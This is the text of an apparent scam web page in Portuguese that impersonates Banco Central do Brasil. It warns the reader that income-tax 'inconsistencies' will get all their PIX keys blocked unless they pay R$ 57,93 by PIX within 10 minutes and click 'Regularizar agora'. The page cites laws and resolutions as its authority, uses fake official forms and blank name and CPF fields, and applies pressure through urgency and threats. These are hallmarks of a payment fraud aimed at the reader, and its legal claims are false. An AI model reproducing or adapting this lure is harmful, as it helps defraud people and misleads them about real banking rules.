TERMO DE NOTIFICAÇÃO DE BLOQUEIO

O Banco Central do Brasil, no uso de suas atribuições legais, com fundamento na Lei nº 14.459/2022 e na Resolução BCB nº 202/2022, que regulamentam o funcionamento do Sistema de Pagamentos Instantâneos (PIX), notifica o contribuinte , portador do CPF , que em virtude das irregularidades fiscais identificadas junto à Receita Federal do Brasil, referentes aos exercícios de 2023 e 2024, todas as chaves PIX vinculadas ao CPF supracitado serão BLOQUEADAS para operações de envio e recebimento de valores, caso as pendências não sejam regularizadas no prazo estabelecido.

Brasília, 08/03/2025

BANCO CENTRAL DO BRASIL

DADOS DO DEVEDOR

NOME:

CPF:

Atenção : Há inconsistências no imposto de renda de 2023 e 2024. Conforme as novas regras do PIX, todas as chaves PIX vinculadas ao seu CPF serão bloqueadas se as pendências não forem pagas. Isso inclui todas as suas contas bancárias.

Valores não pagos do Imposto de Renda de Pessoa Física:

• Multa por atraso na declaração de renda
• Inconsistências nos valores declarados

• Movimentações financeiras incompatíveis
• Transações não declaradas identificadas

Total devido: R$ 57,93

Para evitar a suspensão do PIX em todas as contas bancárias vinculadas ao CPF , é obrigatório efetuar o pagamento deste valor imediatamente.

TERMO DE CIÊNCIA E ACORDO

Eu, , portador do CPF , declaro estar ciente que:

O pagamento deve ser realizado em até 10 minutos após a geração do PIX;
Caso o pagamento não seja realizado dentro do prazo, autorizo o bloqueio imediato de todas as minhas chaves PIX em todas as instituições financeiras;
Em caso de não pagamento, além do bloqueio das chaves PIX, serão aplicadas multas adicionais e juros sobre o valor devido;
A regularização só será efetivada mediante concordância com estes termos e pagamento dentro do prazo estipulado.

Clique no botão acima para aceitar os termos e condições. Após aceitar, clique no botão "Regularizar agora" abaixo para prosseguir